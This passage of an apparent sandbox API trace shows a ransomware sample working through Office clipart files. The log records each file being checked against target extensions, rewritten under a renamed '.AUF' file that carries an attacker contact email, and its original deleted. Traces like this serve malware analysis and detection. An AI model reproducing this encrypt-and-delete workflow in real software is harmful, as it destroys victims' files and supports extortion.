(lpString=".dbf") returned 4 [0217.804] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0217.804] lstrlenW (lpString=".1cd") returned 4 [0217.804] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0217.804] lstrlenW (lpString=".jpg") returned 4 [0217.804] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.804] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=5272) returned 1 [0217.804] CloseHandle (hObject=0x1e8) returned 1 [0217.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf")) returned 0x20 [0217.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0217.805] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.805] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0217.805] GetLastError () returned 0x0 [0217.805] ReadFile (in: hFile=0x1e8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x1498, lpOverlapped=0x0) returned 1 [0218.136] WriteFile (in: hFile=0x168, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x14a0, lpOverlapped=0x0) returned 1 [0218.137] ReadFile (in: hFile=0x1e8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0218.137] WriteFile (in: hFile=0x168, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.137] SetEndOfFile (hFile=0x168) returned 1 [0218.137] CloseHandle (hObject=0x168) returned 1 [0218.138] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.138] SetEndOfFile (hFile=0x1e8) returned 1 [0218.138] CloseHandle (hObject=0x1e8) returned 1 [0218.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.139] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf")) returned 1 [0218.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0218.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0218.139] lstrlenW (lpString=".doc") returned 4 [0218.139] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.139] lstrlenW (lpString=".docx") returned 5 [0218.139] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.139] lstrlenW (lpString=".pdf") returned 4 [0218.139] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.139] lstrlenW (lpString=".xls") returned 4 [0218.139] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.139] lstrlenW (lpString=".xlsx") returned 5 [0218.139] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.139] lstrlenW (lpString=".ppt") returned 4 [0218.139] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0218.139] lstrlenW (lpString=".zip") returned 4 [0218.139] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.139] lstrlenW (lpString=".rar") returned 4 [0218.139] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.139] lstrlenW (lpString=".bz2") returned 4 [0218.139] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.139] lstrlenW (lpString=".7z") returned 3 [0218.139] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0218.139] lstrlenW (lpString=".dbf") returned 4 [0218.139] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0218.139] lstrlenW (lpString=".1cd") returned 4 [0218.139] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0218.139] lstrlenW (lpString=".jpg") returned 4 [0218.139] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.698] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=1712) returned 1 [0218.698] CloseHandle (hObject=0x168) returned 1 [0218.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf")) returned 0x20 [0218.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0218.698] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.698] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0218.700] GetLastError () returned 0x0 [0218.700] ReadFile (in: hFile=0x168, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x6b0, lpOverlapped=0x0) returned 1 [0218.733] WriteFile (in: hFile=0x208, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x6c0, lpOverlapped=0x0) returned 1 [0218.734] ReadFile (in: hFile=0x168, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0218.734] WriteFile (in: hFile=0x208, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.734] SetEndOfFile (hFile=0x208) returned 1 [0218.734] CloseHandle (hObject=0x208) returned 1 [0218.734] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.734] SetEndOfFile (hFile=0x168) returned 1 [0218.735] CloseHandle (hObject=0x168) returned 1 [0218.735] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.735] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf")) returned 1 [0218.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0218.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0218.736] lstrlenW (lpString=".doc") returned 4 [0218.736] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.736] lstrlenW (lpString=".docx") returned 5 [0218.736] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.736] lstrlenW (lpString=".pdf") returned 4 [0218.736] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.736] lstrlenW (lpString=".xls") returned 4 [0218.736] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.736] lstrlenW (lpString=".xlsx") returned 5 [0218.736] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.736] lstrlenW (lpString=".ppt") returned 4 [0218.736] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0218.736] lstrlenW (lpString=".zip") returned 4 [0218.736] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.736] lstrlenW (lpString=".rar") returned 4 [0218.736] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.736] lstrlenW (lpString=".bz2") returned 4 [0218.736] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.736] lstrlenW (lpString=".7z") returned 3 [0218.736] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0218.736] lstrlenW (lpString=".dbf") returned 4 [0218.736] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0218.736] lstrlenW (lpString=".1cd") returned 4 [0218.736] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0218.737] lstrlenW (lpString=".jpg") returned 4 [0218.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.737] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=10538) returned 1 [0218.737] CloseHandle (hObject=0x168) returned 1 [0218.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf")) returned 0x20 [0218.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0218.737] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.737] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0218.738] GetLastError () returned 0x0 [0218.738] ReadFile (in: hFile=0x168, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x292a, lpOverlapped=0x0) returned 1 [0218.745] WriteFile (in: hFile=0x208, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x2930, lpOverlapped=0x0) returned 1 [0218.746] ReadFile (in: hFile=0x168, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0218.746] WriteFile (in: hFile=0x208, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.746] SetEndOfFile (hFile=0x208) returned 1 [0218.746] CloseHandle (hObject=0x208) returned 1 [0218.746] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.746] SetEndOfFile (hFile=0x168) returned 1 [0218.747] CloseHandle (hObject=0x168) returned 1 [0218.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.747] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf")) returned 1 [0218.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0218.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0218.748] lstrlenW (lpString=".doc") returned 4 [0218.748] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.748] lstrlenW (lpString=".docx") returned 5 [0218.748] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.748] lstrlenW (lpString=".pdf") returned 4 [0218.748] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.748] lstrlenW (lpString=".xls") returned 4 [0218.748] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.748] lstrlenW (lpString=".xlsx") returned 5 [0218.748] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.748] lstrlenW (lpString=".ppt") returned 4 [0218.748] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0218.748] lstrlenW (lpString=".zip") returned 4 [0218.748] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.748] lstrlenW (lpString=".rar") returned 4 [0218.748] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.748] lstrlenW (lpString=".bz2") returned 4 [0218.748] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.748] lstrlenW (lpString=".7z") returned 3 [0218.748] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0218.748] lstrlenW (lpString=".dbf") returned 4 [0218.748] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0218.748] lstrlenW (lpString=".1cd") returned 4 [0218.748] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0218.748] lstrlenW (lpString=".jpg") returned 4 [0218.748] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.749] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=4236) returned 1 [0218.749] CloseHandle (hObject=0x168) returned 1 [0218.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf")) returned 0x20 [0218.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0218.749] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.749] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0218.750] GetLastError () returned 0x0 [0218.750] ReadFile (in: hFile=0x168, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x108c, lpOverlapped=0x0) returned 1 [0218.751] WriteFile (in: hFile=0x208, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x1090, lpOverlapped=0x0) returned 1 [0218.751] ReadFile (in: hFile=0x168, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0218.751] WriteFile (in: hFile=0x208, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.751] SetEndOfFile (hFile=0x208) returned 1 [0218.752] CloseHandle (hObject=0x208) returned 1 [0218.752] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.752] SetEndOfFile (hFile=0x168) returned 1 [0218.752] CloseHandle (hObject=0x168) returned 1 [0218.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.753] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf")) returned 1 [0218.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0218.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0218.753] lstrlenW (lpString=".doc") returned 4 [0218.753] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.753] lstrlenW (lpString=".docx") returned 5 [0218.753] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.753] lstrlenW (lpString=".pdf") returned 4 [0218.753] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.753] lstrlenW (lpString=".xls") returned 4 [0218.753] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.753] lstrlenW (lpString=".xlsx") returned 5 [0218.753] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.753] lstrlenW (lpString=".ppt") returned 4 [0218.753] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0218.753] lstrlenW (lpString=".zip") returned 4 [0218.753] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.753] lstrlenW (lpString=".rar") returned 4 [0218.753] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.753] lstrlenW (lpString=".bz2") returned 4 [0218.753] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.753] lstrlenW (lpString=".7z") returned 3 [0218.753] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0218.753] lstrlenW (lpString=".dbf") returned 4 [0218.753] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0218.753] lstrlenW (lpString=".1cd") returned 4 [0218.753] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0218.753] lstrlenW (lpString=".jpg") returned 4 [0218.754] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.755] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=3564) returned 1 [0218.755] CloseHandle (hObject=0x168) returned 1 [0218.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf")) returned 0x20 [0218.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0218.756] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.756] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0218.757] GetLastError () returned 0x0 [0218.757] ReadFile (in: hFile=0x168, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0xdec, lpOverlapped=0x0) returned 1 [0218.768] WriteFile (in: hFile=0x208, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xdf0, lpOverlapped=0x0) returned 1 [0218.768] ReadFile (in: hFile=0x168, 